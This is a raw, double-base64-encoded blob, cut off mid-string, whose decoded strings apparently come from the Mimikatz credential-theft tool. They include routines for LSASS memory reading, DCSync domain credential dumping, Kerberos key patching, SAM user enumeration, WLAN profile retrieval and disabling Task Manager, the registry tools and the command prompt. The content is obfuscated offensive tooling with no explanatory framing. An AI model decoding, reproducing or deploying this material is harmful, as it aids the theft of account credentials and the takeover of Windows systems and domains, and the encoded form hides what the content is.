QUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QmtBR01BY3dCNUFHNEFZd0FnQURzQUlBQkVBRzhBYlFCaEFHa0FiZ0FnQUVNQWJ3QnVBSFFBY2dCdkFHd0FiQUJsQUhJQUlBQnVBRzhBZEFBZ0FIQUFjZ0JsQUhNQVpRQnVBSFFBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR1FBWXdCekFIa0FiZ0JqQUNBQU93QWdBRVFBYndCdEFHRUFhUUJ1QUNBQWJnQnZBSFFBSUFCd0FISUFaUUJ6QUdVQWJnQjBBQ3dBSUFCdkFISUFJQUJrQUc4QVpRQnpBRzRBSndCMEFDQUFiQUJ2QUc4QWF3QWdBR3dBYVFCckFHVUFJQUJoQUNBQVJnQlJBRVFBVGdBS0FBQUFBQUFsQUhNQUpRQXVBQ29BY3dBbEFITUFBQUFBQUNBQUlBQWdBQ0FBSlFCekFDMEFKUUF5QUhVQU9nQWdBQUFBQUFBZ0FDQUFTQUJoQUhNQWFBQWdBQ1VBY3dBNkFDQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QmtBR01BY3dCNUFHNEFZd0JmQUdRQVpRQmpBSElBZVFCd0FIUUFJQUE3QUNBQVVnQjBBR3dBUkFCbEFHTUFjZ0I1QUhBQWRBQkVBRVVBVXdBeUFHSUFiQUJ2QUdNQWF3QnpBREVBUkFCWEFFOEFVZ0JFQUFBQUFBQlBBR0lBYWdCbEFHTUFkQUFnQUZJQVJBQk9BQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUJUQUVNQVVnQkpBRkFBVkFBQUFBQUFRUUJEQUVNQVR3QlZBRTRBVkFCRUFFa0FVd0JCQUVJQVRBQkZBQUFBQUFBd0FIZ0FOQUFnQUQ4QUFBQklBRThBVFFCRkFFUUFTUUJTQUY4QVVnQkZBRkVBVlFCSkFGSUFSUUJFQUFBQUFBQk1BRThBUXdCTEFFOEFWUUJVQUFBQVVBQkJBRk1BVXdCWEFFUUFYd0JPQUU4QVZBQlNBRVVBVVFCRUFBQUFBQUJRQUVFQVV3QlRBRmNBUkFCZkFFTUFRUUJPQUZRQVh3QkRBRWdBUVFCT0FFY0FSUUFBQUFBQUFBQUFBRVVBVGdCREFGSUFXUUJRQUZRQVJRQkVBRjhBVkFCRkFGZ0FWQUJmQUZBQVFRQlRBRk1BVndCUEFGSUFSQUJmQUVFQVRBQk1BRThBVndCRkFFUUFBQUJVQUVVQVRRQlFBRjhBUkFCVkFGQUFUQUJKQUVNQVFRQlVBRVVBWHdCQkFFTUFRd0JQQUZVQVRnQlVBQUFBQUFCT0FFOEFVZ0JOQUVFQVRBQmZBRUVBUXdCREFFOEFWUUJPQUZRQUFBQUFBREFBZUFBMEFEQUFNQUFnQUQ4QUFBQkpBRTRBVkFCRkFGSUFSQUJQQUUwQVFRQkpBRTRBWHdCVUFGSUFWUUJUQUZRQVh3QkJBRU1BUXdCUEFGVUFUZ0JVQUFBQVZ3QlBBRklBU3dCVEFGUUFRUUJVQUVrQVR3Qk9BRjhBVkFCU0FGVUFVd0JVQUY4QVFRQkRBRU1BVHdCVkFFNEFWQUFBQUZNQVJRQlNBRllBUlFCU0FGOEFWQUJTQUZVQVV3QlVBRjhBUVFCREFFTUFUd0JWQUU0QVZBQUFBQUFBTUFCNEFEUUFNQUF3QURBQUlBQS9BQUFBQUFBd0FIZ0FPQUF3QURBQU1BQWdBRDhBQUFBQUFFUUFUd0JPQUZRQVh3QkZBRmdBVUFCSkFGSUFSUUJmQUZBQVFRQlRBRk1BVndCRUFBQUFBQUJOQUU0QVV3QmZBRXdBVHdCSEFFOEFUZ0JmQUVFQVF3QkRBRThBVlFCT0FGUUFBQUJUQUUwQVFRQlNBRlFBUXdCQkFGSUFSQUJmQUZJQVJRQlJBRlVBU1FCU0FFVUFSQUFBQUFBQVZBQlNBRlVBVXdCVUFFVUFSQUJmQUVZQVR3QlNBRjhBUkFCRkFFd0FSUUJIQUVFQVZBQkpBRThBVGdBQUFBQUFUZ0JQQUZRQVh3QkVBRVVBVEFCRkFFY0FRUUJVQUVVQVJBQUFBRlVBVXdCRkFGOEFSQUJGQUZNQVh3QkxBRVVBV1FCZkFFOEFUZ0JNQUZrQUFBQUFBRVFBVHdCT0FGUUFYd0JTQUVVQVVRQlZBRWtBVWdCRkFGOEFVQUJTQUVVQVFRQlZBRlFBU0FBQUFBQUFVQUJCQUZNQVV3QlhBRThBVWdCRUFGOEFSUUJZQUZBQVNRQlNBRVVBUkFBQUFBQUFWQUJTQUZVQVV3QlVBRVVBUkFCZkFGUUFUd0JmQUVFQVZRQlVBRWdBUlFCT0FGUUFTUUJEQUVFQVZBQkZBRjhBUmdCUEFGSUFYd0JFQUVVQVRBQkZBRWNBUVFCVUFFa0FUd0JPQUFBQUFBQk9BRThBWHdCQkFGVUFWQUJJQUY4QVJBQkJBRlFBUVFCZkFGSUFSUUJSQUZVQVNRQlNBRVVBUkFBQUFGQUFRUUJTQUZRQVNRQkJBRXdBWHdCVEFFVUFRd0JTQUVVQVZBQlRBRjhBUVFCREFFTUFUd0JWQUU0QVZBQUFBRlVBVXdCRkFGOEFRUUJGQUZNQVh3QkxBRVVBV1FCVEFBQUFBQUF3QUhnQU1RQXdBREFBTUFBd0FEQUFNQUF3QUNBQVB3QUFBQUFBTUFCNEFESUFNQUF3QURBQU1BQXdBREFBTUFBZ0FEOEFBQUFBQURBQWVBQTBBREFBTUFBd0FEQUFNQUF3QURBQUlBQS9BQUFBQUFBd0FIZ0FPQUF3QURBQU1BQXdBREFBTUFBd0FDQUFQd0FBQUFBQVJBQlBBRTBBUVFCSkFFNEFYd0JQQUVJQVNnQkZBRU1BVkFBQUFFY0FVZ0JQQUZVQVVBQmZBRThBUWdCS0FFVUFRd0JVQUFBQUFBQk9BRThBVGdCZkFGTUFSUUJEQUZVQVVnQkpBRlFBV1FCZkFFY0FVZ0JQQUZVQVVBQmZBRThBUWdCS0FFVUFRd0JVQUFBQVFRQk1BRWtBUVFCVEFGOEFUd0JDQUVvQVJRQkRBRlFBQUFBQUFFNEFUd0JPQUY4QVV3QkZBRU1BVlFCU0FFa0FWQUJaQUY4QVFRQk1BRWtBUVFCVEFGOEFUd0JDQUVvQVJRQkRBRlFBQUFCVkFGTUFSUUJTQUY4QVR3QkNBRW9BUlFCREFGUUFBQUJOQUVFQVF3QklBRWtBVGdCRkFGOEFRUUJEQUVNQVR3QlZBRTRBVkFBQUFGUUFVZ0JWQUZNQVZBQmZBRUVBUXdCREFFOEFWUUJPQUZRQUFBQkJBRkFBVUFCZkFFSUFRUUJUQUVrQVF3QmZBRWNBVWdCUEFGVUFVQUFBQUVFQVVBQlFBRjhBVVFCVkFFVUFVZ0JaQUY4QVJ3QlNBRThBVlFCUUFBQUFLZ0FxQUNBQVV3QkJBRTBBSUFCQkFFTUFRd0JQQUZVQVRnQlVBQ0FBS2dBcUFBb0FDZ0FBQUZNQVFRQk5BQ0FBVlFCekFHVUFjZ0J1QUdFQWJRQmxBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBQUFGVUFjd0JsQUhJQUlBQlFBSElBYVFCdUFHTUFhUUJ3QUdFQWJBQWdBRTRBWVFCdEFHVUFJQUFnQURvQUlBQUFBRUVBWXdCakFHOEFkUUJ1QUhRQUlBQlVBSGtBY0FCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBS0FBZ0FDVUFjd0FnQUNrQUNnQUFBRlVBY3dCbEFISUFJQUJCQUdNQVl3QnZBSFVBYmdCMEFDQUFRd0J2QUc0QWRBQnlBRzhBYkFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBS0FBZ0FBQUFBQUJCQUdNQVl3QnZBSFVBYmdCMEFDQUFaUUI0QUhBQWFRQnlBR0VBZEFCcEFHOEFiZ0FnQUNBQUlBQTZBQ0FBQUFCUUFHRUFjd0J6QUhjQWJ3QnlBR1FBSUFCc0FHRUFjd0IwQUNBQVl3Qm9BR0VBYmdCbkFHVUFJQUE2QUNBQUFBQlBBR0lBYWdCbEFHTUFkQUFnQUZNQVpRQmpBSFVBY2dCcEFIUUFlUUFnQUVrQVJBQWdBQ0FBSUFBNkFDQUFBQUJQQUdJQWFnQmxBR01BZEFBZ0FGSUFaUUJzQUdFQWRBQnBBSFlBWlFBZ0FFa0FSQUFnQUNBQUlBQTZBQ0FBSlFCMUFBb0FBQUFBQUFvQVF3QnlBR1VBWkFCbEFHNEFkQUJwQUdFQWJBQnpBRG9BQ2dBQUFBQUFiZ0IwQUd3QWJRQUFBQUFBYkFCdEFDQUFJQUFBQUFBQUNnQlRBSFVBY0FCd0FHd0FaUUJ0QUdVQWJnQjBBR0VBYkFBZ0FFTUFjZ0JsQUdRQVpRQnVBSFFBYVFCaEFHd0Fjd0E2QUFvQUFBQXFBQ0FBSlFCM0FGb0FJQUFxQUFvQUFBQUFBQ1V3TW5nQUFBQUFBQUFBQUNvQUtnQWdBRlFBVWdCVkFGTUFWQUJGQUVRQUlBQkVBRThBVFFCQkFFa0FUZ0FnQUMwQUlBQkJBRzRBZEFCcEFITUFid0JqQUdrQVlRQnNBQ0FBS2dBcUFBb0FDZ0FBQUZBQVlRQnlBSFFBYmdCbEFISUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFIY0FXZ0FLQUFBQVl3QnRBR1FBQUFCREFHOEFiUUJ0QUdFQWJnQmtBQ0FBVUFCeUFHOEFiUUJ3QUhRQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQW9BSGNBYVFCMEFHZ0Fid0IxQUhRQUlBQkVBR2tBY3dCaEFHSUFiQUJsQUVNQVRRQkVBQ2tBQUFBQUFISUFaUUJuQUdVQVpBQnBBSFFBQUFBQUFBQUFVZ0JsQUdjQWFRQnpBSFFBY2dCNUFDQUFSUUJrQUdrQWRBQnZBSElBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBS0FCM0FHa0FkQUJvQUc4QWRRQjBBQ0FBUkFCcEFITUFZUUJpQUd3QVpRQlNBR1VBWndCcEFITUFkQUJ5QUhrQVZBQnZBRzhBYkFCekFDa0FBQUFBQUhRQVlRQnpBR3NBYlFCbkFISUFBQUJVQUdFQWN3QnJBQ0FBVFFCaEFHNEFZUUJuQUdVQWNnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBb0FIY0FhUUIwQUdnQWJ3QjFBSFFBSUFCRUFHa0Fjd0JoQUdJQWJBQmxBRlFBWVFCekFHc0FUUUJuQUhJQUtRQUFBQUFBYmdCakFISUFid0IxQUhRQVpRQnRBRzhBYmdBQUFBQUFBQUFBQUVvQWRRQnVBR2tBY0FCbEFISUFJQUJPQUdVQWRBQjNBRzhBY2dCckFDQUFRd0J2QUc0QWJnQmxBR01BZEFBZ0FDZ0Fkd0JwQUhRQWFBQnZBSFVBZEFBZ0FISUFid0IxQUhRQVpRQWdBRzBBYndCdUFHa0FkQUJ2QUhJQWFRQnVBR2NBS1FBQUFBQUFaQUJsQUhRQWJ3QjFBSElBY3dBQUFGc0FaUUI0QUhBQVpRQnlBR2tBYlFCbEFHNEFkQUJoQUd3QVhRQWdBRlFBY2dCNUFDQUFkQUJ2QUNBQVpRQnVBSFVBYlFCbEFISUFZUUIwQUdVQUlBQmhBR3dBYkFBZ0FHMEFid0JrQUhVQWJBQmxBSE1BSUFCM0FHa0FkQUJvQUNBQVJBQmxBSFFBYndCMUFISUFjd0F0QUd3QWFRQnJBR1VBSUFCb0FHOEFid0JyQUhNQUFBQjNBR2tBWmdCcEFBQUFBQUJ0QUdVQWJRQnpBSE1BY0FBQUFBQUFjd0JyQUdVQWJBQmxBSFFBYndCdUFBQUFBQUJ0QUdrQWN3QmpBQUFBQUFCTkFHa0Fjd0JqQUdVQWJBQnNBR0VBYmdCbEFHOEFkUUJ6QUNBQWJRQnZBR1FBZFFCc0FHVUFBQUFBQUhjQWJBQmhBRzRBWVFCd0FHa0FBQUJYYkdGdVQzQmxia2hoYm1Sc1pRQUFWMnhoYmtOc2IzTmxTR0Z1Wkd4bEFGZHNZVzVGYm5WdFNXNTBaWEptWVdObGN3QUFWMnhoYmtkbGRGQnliMlpwYkdWTWFYTjBBQUJYYkdGdVIyVjBVSEp2Wm1sc1pRQUFWMnhoYmtaeVpXVk5aVzF2Y25rQUFFc0FhUUIzQUdrQVFRQnVBR1FBUXdCTkFFUUFBQUFBQUVRQWFRQnpBR0VBWWdCc0FHVUFRd0JOQUVRQUFBQUFBR01BYlFCa0FDNEFaUUI0QUdVQUFBQkxBR2tBZHdCcEFFRUFiZ0JrQUZJQVpRQm5BR2tBY3dCMEFISUFlUUJVQUc4QWJ3QnNBSE1BQUFBQUFFUUFhUUJ6QUdFQVlnQnNBR1VBVWdCbEFHY0FhUUJ6QUhRQWNnQjVBRlFBYndCdkFHd0Fjd0FBQUFBQWNnQmxBR2NBWlFCa0FHa0FkQUF1QUdVQWVBQmxBQUFBU3dCcEFIY0FhUUJCQUc0QVpBQlVBR0VBY3dCckFFMEFad0J5QUFBQUFBQkVBR2tBY3dCaEFHSUFiQUJsQUZRQVlRQnpBR3NBVFFCbkFISUFBQUFBQUhRQVlRQnpBR3NBYlFCbkFISUFMZ0JsQUhnQVpRQUFBR1FBY3dCT0FHTUFVd0JsQUhJQWRnQnBBR01BWlFBQUFBa0FLQUFsQUhjQVdnQXBBQUFBQUFBSkFGc0FKUUIxQUYwQUlBQWxBSGNBV2dBZ0FDRUFJQUFBQUFBQUpRQXRBRE1BTWdCVEFBQUFJd0FnQUNVQWRRQUFBQUFBQ1FBZ0FDVUFjQUFnQUMwQVBnQWdBQ1VBY0FBQUFBQUFKUUIzQUZvQUlBQW9BQ1VBZFFBcEFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBRzBBYVFCekFHTUFYd0JrQUdVQWRBQnZBSFVBY2dCekFGOEFZd0JoQUd3QWJBQmlBR0VBWXdCckFGOEFjQUJ5QUc4QVl3QmxBSE1BY3dBZ0FEc0FJQUJQQUhBQVpRQnVBRkFBY2dCdkFHTUFaUUJ6QUhNQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBVUFCaEFIUUFZd0JvQUNBQVR3QkxBQ0FBWmdCdkFISUFJQUFuQUNVQWN3QW5BQ0FBWmdCeUFHOEFiUUFnQUNjQUpRQnpBQ2NBSUFCMEFHOEFJQUFuQUNVQWN3QW5BQ0FBUUFBZ0FDVUFjQUFLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiUUJwQUhNQVl3QmZBR2NBWlFCdUFHVUFjZ0JwQUdNQVh3QnVBRzhBWndCd0FHOEFYd0J3QUdFQWRBQmpBR2dBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCd0FHRUFkQUJqQUdnQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBYmdCdkFIUUFYd0J5QUdVQVlRQmtBSGtBQUFCakFHOEFiZ0J1QUdVQVl3QjBBR1VBWkFBQUFHRUFaQUJmQUdnQWJ3QmpBRjhBYmdCbEFIUUFkd0J2QUhJQWF3QmZBR1lBYndCeUFHMEFaUUJrQUFBQVpBQnBBSE1BWXdCdkFHNEFiZ0JsQUdNQWRBQnBBRzRBWndBQUFHUUFhUUJ6QUdNQWJ3QnVBRzRBWlFCakFIUUFaUUJrQUFBQUFBQmhBSE1BY3dCdkFHTUFhUUJoQUhRQWFRQnVBR2NBQUFCa0FHa0Fjd0JqQUc4QWRnQmxBSElBYVFCdUFHY0FBQUJoQUhVQWRBQm9BR1VBYmdCMEFHa0FZd0JoQUhRQWFRQnVBR2NBQUFBQUFDQUFLZ0FnQUFBQUlBQXZBQ0FBSlFCekFDQUFMUUFnQUNVQWN3QUtBQUFBQ1FCOEFDQUFKUUJ6QUFvQUFBQUFBRzBBY3dCMkFHTUFjZ0IwQUM0QVpBQnNBR3dBQUFBQUFHWnZjR1Z1QUFBQVpuZHdjbWx1ZEdZQUFBQUFabU5zYjNObEFBQnNBSE1BWVFCekFITUFMZ0JsQUhnQVpRQUFBRzBBY3dCMkFERUFYd0F3QUM0QVpBQnNBR3dBQUFBQUFFa0FiZ0JxQUdVQVl3QjBBR1VBWkFBZ0FEMEFLUUFLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ6QUdNQVh3QnRBR1VBYlFCekFITUFjQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUcwQVpRQnRBRzhBY2dCNUFGOEFZd0J2QUhBQWVRQWdBQzBBSUFCVUFISUFZUUJ0QUhBQWJ3QnNBR2tBYmdCbEFDQUFiZ0F3QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ6QUdNQVh3QnRBR1VBYlFCekFITUFjQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQVpRQnRBRzhBZEFCbEFHd0FhUUJpQUY4QVF3QnlBR1VBWVFCMEFHVUFVZ0JsQUcwQWJ3QjBBR1VBUXdCdkFHUUFaUUJYQUdrQWRBQjBBR2dBVUFCaEFIUUFkQUJsQUhJQWJnQlNBR1VBY0FCc0FHRUFZd0JsQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J0QUdrQWN3QmpBRjhBYlFCbEFHMEFjd0J6QUhBQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnRBR1VBYlFCdkFISUFlUUJmQUdNQWJ3QndBSGtBSUFBdEFDQUFWQUJ5QUdFQWJRQndBRzhBYkFCcEFHNEFaUUFnQUc0QU1RQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J0QUdrQWN3QmpBRjhBYlFCbEFHMEFjd0J6QUhBQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnRBR1VBYlFCdkFISUFlUUJmQUdNQWJ3QndBSGtBSUFBdEFDQUFjZ0JsQUdFQWJBQWdBR0VBY3dCdEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYlFCcEFITUFZd0JmQUcwQVpRQnRBSE1BY3dCd0FDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFiUUJsQUcwQWJ3QnlBSGtBWHdCekFHVUFZUUJ5QUdNQWFBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBSE1BWXdCZkFHMEFaUUJ0QUhNQWN3QndBQ0FBT3dBZ0FFOEFjQUJsQUc0QVVBQnlBRzhBWXdCbEFITUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J0QUdrQWN3QmpBRjhBYlFCbEFHMEFjd0J6QUhBQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBSElBYndCakFHVUFjd0J6QUY4QVp3QmxBSFFBVUFCeUFHOEFZd0JsQUhNQWN3QkpBR1FBUmdCdkFISUFUZ0JoQUcwQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBVEc5allXeEJiR3h2WXdBQWF3QmtBR01BY3dCMkFHTUFMZ0JrQUd3QWJBQUFBQUFBV3dCTEFFUUFRd0JkQUNBQVpBQmhBSFFBWVFBS0FBQUFXd0JMQUVRQVF3QmRBQ0FBY3dCMEFISUFkUUJqQUhRQUNnQUFBRnNBU3dCRUFFTUFYUUFnQUdzQVpRQjVBSE1BSUFCd0FHRUFkQUJqQUdnQUlBQlBBRXNBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYlFCcEFITUFZd0JmQUhNQWF3QmxBR3dBWlFCMEFHOEFiZ0FnQURzQUlBQlRBR1VBWXdCdkFHNEFaQUFnQUhBQVlRQjBBSFFBWlFCeUFHNEFJQUJ1QUc4QWRBQWdBR1lBYndCMUFHNEFaQUFLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ6QUdNQVh3QnpBR3NBWlFCc0FHVUFkQUJ2QUc0QUlBQTdBQ0FBUmdCcEFISUFjd0IwQUNBQWNBQmhBSFFBZEFCbEFISUFiZ0FnQUc0QWJ3QjBBQ0FBWmdCdkFIVUFiZ0JrQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J0QUdrQWN3QmpBRjhBY3dCckFHVUFiQUJsQUhRQWJ3QnVBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY0FCeUFHOEFZd0JsQUhNQWN3QmZBR2NBWlFCMEFGWUFaUUJ5QUhrQVFnQmhBSE1BYVFCakFFMEFid0JrQUhVQWJBQmxBRWtBYmdCbUFHOEFjZ0J0QUdFQWRBQnBBRzhBYmdCekFFWUFid0J5QUU0QVlRQnRBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFHTUFjZ0I1QUhBQWRBQmtBR3dBYkFBdUFHUUFiQUJzQUFBQUFBQmJBRklBUXdBMEFGMEFJQUJtQUhVQWJnQmpBSFFBYVFCdkFHNEFjd0FLQUFBQUFBQmJBRklBUXdBMEFGMEFJQUJwQUc0QWFRQjBBQ0FBY0FCaEFIUUFZd0JvQUNBQVR3QkxBQW9BQUFBQUFGc0FVZ0JEQURRQVhRQWdBR1FBWlFCakFISUFlUUJ3QUhRQUlBQndBR0VBZEFCakFHZ0FJQUJQQUVzQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUcwQWFRQnpBR01BWHdCekFHc0FaUUJzQUdVQWRBQnZBRzRBSUFBN0FDQUFWUUJ1QUdFQVlnQnNBR1VBSUFCMEFHOEFJQUJqQUhJQVpRQmhBSFFBWlFBZ0FISUFaUUJ0QUc4QWRBQmxBQ0FBWmdCMUFHNEFZd0IwQUdrQWJ3QnVBSE1BQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBSE1BWXdCZkFITUFhd0JsQUd3QVpRQjBBRzhBYmdBZ0FEc0FJQUJQQUhBQVpRQnVBRkFBY2dCdkFHTUFaUUJ6QUhNQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBYkFCdkFHTUFZUUJzQUdjQWNnQnZBSFVBY0FBQUFBQUFad0J5QUc4QWRRQndBQUFBYmdCbEFIUUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCdUFHVUFkQUJmQUhVQWN3QmxBSElBSUFBN0FDQUFVd0JoQUcwQVR3QndBR1VBYmdCRUFHOEFiUUJoQUdrQWJnQWdBRUlBZFFCcEFHd0FkQUJwQUc0QUlBQW9BRDhBS1FBZ0FDVUFNQUE0QUhnQUNnQUFBQW9BUkFCdkFHMEFZUUJwQUc0QUlBQnVBR0VBYlFCbEFDQUFPZ0FnQUNVQWR3QmFBQUFBQUFBS0FFUUFid0J0QUdFQWFRQnVBQ0FBVXdCSkFFUUFJQUFnQURvQUlBQUFBQW9BSUFBbEFDMEFOUUIxQUNBQUpRQjNBRm9BQUFBQUFBb0FJQUI4QUNBQUpRQXRBRFVBZFFBZ0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYmdCbEFIUUFYd0IxQUhNQVpRQnlBQ0FBT3dBZ0FGTUFZUUJ0QUV3QWJ3QnZBR3NBZFFCd0FFa0FaQUJ6QUVrQWJnQkVBRzhBYlFCaEFHa0FiZ0FnQUNVQU1BQTRBSGdBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnVBR1VBZEFCZkFIVUFjd0JsQUhJQUlBQTdBQ0FBVXdCaEFHMEFSd0JsQUhRQVJ3QnlBRzhBZFFCd0FITUFSZ0J2QUhJQVZRQnpBR1VBY2dBZ0FDVUFNQUE0QUhnQUFBQUFBQW9BSUFCOEFHQUFKUUF0QURVQWRRQWdBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J1QUdVQWRBQmZBSFVBY3dCbEFISUFJQUE3QUNBQVV3QmhBRzBBUndCbEFIUUFRUUJzQUdrQVlRQnpBRTBBWlFCdEFHSUFaUUJ5QUhNQWFBQnBBSEFBSUFBbEFEQUFPQUI0QUFBQUFBQUtBQ0FBZkFDMEFDVUFMUUExQUhVQUlBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUc0QVpRQjBBRjhBZFFCekFHVUFjZ0FnQURzQUlBQlRBR0VBYlFCU0FHa0FaQUJVQUc4QVV3QnBBR1FBSUFBbEFEQUFPQUI0QUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J1QUdVQWRBQmZBSFVBY3dCbEFISUFJQUE3QUNBQVV3QmhBRzBBVHdCd0FHVUFiZ0JWQUhNQVpRQnlBQ0FBSlFBd0FEZ0FlQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiZ0JsQUhRQVh3QjFBSE1BWlFCeUFDQUFPd0FnQUZNQVlRQnRBRVVBYmdCMUFHMEFaUUJ5QUdFQWRBQmxBRlVBY3dCbEFISUFjd0JKQUc0QVJBQnZBRzBBWVFCcEFHNEFJQUFsQURBQU9BQjRBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUc0QVpRQjBBRjhBZFFCekFHVUFjZ0FnQURzQUlBQlRBR0VBYlFCUEFIQUFaUUJ1QUVRQWJ3QnRBR0VBYVFCdUFDQUFKUUF3QURnQWVBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J1QUdVQWRBQmZBSFVBY3dCbEFISUFJQUE3QUNBQVV3QmhBRzBBVEFCdkFHOEFhd0IxQUhBQVJBQnZBRzBBWVFCcEFHNEFTUUJ1QUZNQVlRQnRBRk1BWlFCeUFIWUFaUUJ5QUNBQUpRQXdBRGdBZUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJnQmxBSFFBWHdCMUFITUFaUUJ5QUNBQU93QWdBRk1BWVFCdEFFVUFiZ0IxQUcwQVpRQnlBR0VBZEFCbEFFUUFid0J0QUdFQWFRQnVBSE1BU1FCdUFGTUFZUUJ0QUZNQVpRQnlBSFlBWlFCeUFDQUFKUUF3QURnQWVBQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnVBR1VBZEFCZkFIVUFjd0JsQUhJQUlBQTdBQ0FBVXdCaEFHMEFRd0J2QUc0QWJnQmxBR01BZEFBZ0FDVUFNQUE0QUhnQUNnQUFBQUFBWkFCbEFHSUFkUUJuQUFBQVFRQnpBR3NBSUFCa0FHVUFZZ0IxQUdjQUlBQndBSElBYVFCMkFHa0FiQUJsQUdjQVpRQUFBSEFBY2dCcEFIWUFhUUJzQUdVQVp3QmxBQUFBVUFCeUFHa0FkZ0JwQUd3QVpRQm5BR1VBSUFCdEFHOEFaQUIxQUd3QVpRQUFBQUFBVUFCeUFHa0FkZ0JwQUd3QVpRQm5BR1VBSUFBbkFDVUFkUUFuQUNBQVR3QkxBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWNBQnlBR2tBZGdCcEFHd0FaUUJuQUdVQVh3QnpBR2tBYlFCd0FHd0FaUUFnQURzQUlBQlNBSFFBYkFCQkFHUUFhZ0IxQUhNQWRBQlFBSElBYVFCMkFHa0FiQUJsQUdjQVpRQWdBQ2dBSlFCMUFDa0FJQUFsQURBQU9BQjRBQW9BQUFCbEFIZ0FjQUJ2QUhJQWRBQnpBQUFBVEFCcEFITUFkQUFnQUdVQWVBQndBRzhBY2dCMEFITUFBQUFBQUdrQWJRQndBRzhBY2dCMEFITUFBQUJNQUdrQWN3QjBBQ0FBYVFCdEFIQUFid0J5QUhRQWN3QUFBQUFBY3dCMEFHRUFjZ0IwQUFBQVV3QjBBR0VBY2dCMEFDQUFZUUFnQUhBQWNnQnZBR01BWlFCekFITUFBQUJ6QUhRQW